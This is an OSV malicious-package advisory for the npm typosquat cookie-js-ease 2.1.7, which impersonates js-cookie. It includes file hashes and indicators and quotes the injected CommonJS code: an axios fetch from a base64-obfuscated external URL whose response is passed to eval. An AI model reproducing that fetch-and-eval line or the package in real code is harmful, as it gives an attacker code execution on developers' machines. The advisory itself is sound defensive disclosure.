MAL-2026-10058

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cookie-js-ease/MAL-2026-10058.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10058
Published
2026-07-09T16:20:14Z
Modified
2026-07-09T16:31:50.170857985Z
Summary
Malicious code in cookie-js-ease (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d)

cookie-js-ease@2.1.7 impersonates the popular js-cookie library (same repository URL, banner comment, API surface, and reused upstream author name 'Klaus Hartl') but adds axios and request as runtime dependencies and injects a remote-code-execution branch into the CommonJS build referenced by the package's main entry (dist/cookie.ease.js). When a consumer calls Cookies.set()/remove() in a Node.js context (or with expires==0), the code executes require('axios').get(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw')).then(r => { eval(r.data.content) }) — fetching JavaScript from https://cookie-api-two.vercel.app/ and eval'ing the response body inside the installer's Node process. The destination URL is base64-obfuscated via atob() to evade static scanners. The.mjs and.min.js variants do not contain this branch, so the payload is targeted specifically at CommonJS consumers. This is unambiguous typosquat-plus-RCE: consumers who mistype js-cookie and reach for this package receive attacker-controlled code execution on first use of the library's core API.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-009300",
            "sha256": "2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d",
            "modified_time": "2026-07-09T16:20:14Z",
            "import_time": "2026-07-09T16:20:58.373442056Z",
            "versions": [
                "2.1.7"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / cookie-js-ease

Package

Name
cookie-js-ease
View open source insights on deps.dev
Purl
pkg:npm/cookie-js-ease

Affected ranges

Affected versions

2.*
2.1.7

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cookie-js-ease/MAL-2026-10058.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "bb0c1a992cac3046f34e91d87bdbb860c32f4116240c9a73b3f7853e4e8ccced",
            "tlsh": "1691246c28e625e21f072439dbaf61007374d51b049ede607c8ce3621f6ac3916f5aed",
            "path": "dist/cookie.ease.js"
        },
        {
            "sha256": "226c9d9230212d4366fae068476846a706c790c55f831d0c5abc959372b2f8a0",
            "tlsh": "f641a72cec1c4ea71ae81ad9695a1292a521a4035d40fc4db362272c4f6e16f31fb7bd",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "cookie-js-ease-2.1.7.tgz",
            "hashes": {
                "sha1": "5591f8e551f16468d712a1442750c4f98bc86c55",
                "sha512_sri": "sha512-hbv1hI1Qfky6YzC3Yjk1Pk03I/By9r6euI/nN0rwrWExDdoEbQWGd4iCQuX3gtf0RE/X0/bm7RbBD9PqNnqdMA=="
            }
        }
    ]
}